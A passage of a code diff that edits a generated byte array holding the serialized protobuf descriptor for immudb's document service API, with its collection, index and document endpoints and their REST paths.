0x74, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, + 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, + 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, + 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x2a, + 0x3d, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, + 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, 0x4c, + 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, + 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x5c, + 0x0a, 0x12, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, + 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, + 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, + 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, + 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x12, 0x0c, + 0x0a, 0x08, 0x4e, 0x4f, 0x54, 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xa1, 0x10, 0x0a, + 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, + 0x12, 0x88, 0x01, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x25, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x1a, 0x0c, 0x2f, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x7f, 0x0a, 0x0e, 0x47, + 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x22, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, + 0x12, 0x0c, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x92, 0x41, + 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x82, 0x01, 0x0a, + 0x0d, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, - 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x12, 0x13, 0x2f, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, - 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x12, 0x81, 0x01, 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x24, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, - 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x7b, - 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x6f, 0x0a, 0x0b, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1b, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x1a, 0x06, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x3a, 0x01, 0x2a, - 0x92, 0x41, 0x07, 0x0a, 0x05, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x76, 0x0a, 0x0b, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x22, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x2f, 0x64, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x07, 0x0a, 0x05, 0x69, 0x6e, 0x64, - 0x65, 0x78, 0x12, 0x83, 0x01, 0x0a, 0x0f, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x23, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x1a, 0x0a, 0x2f, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x52, 0x65, 0x70, - 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x25, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, - 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x17, 0x1a, 0x12, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x2f, 0x72, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8a, 0x01, 0x0a, 0x0f, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8a, 0x01, 0x0a, 0x0f, 0x53, 0x65, 0x61, 0x72, 0x63, - 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, + 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, + 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x1a, 0x12, 0x2f, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, + 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x12, 0x8b, 0x01, 0x0a, 0x10, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x2a, 0x12, + 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, + 0x65, 0x7d, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x12, 0x8f, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x27, 0x1a, 0x22, 0x2f, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x69, 0x6e, 0x64, 0x65, + 0x78, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x12, 0x8c, 0x01, 0x0a, 0x0b, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x38, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x24, 0x2a, + 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x69, 0x6e, + 0x64, 0x65, 0x78, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x12, 0x9f, 0x01, 0x0a, 0x0f, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x3f, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x2b, 0x1a, 0x26, 0x2f, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x12, 0xb0, 0x01, 0x0a, 0x10, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, + 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 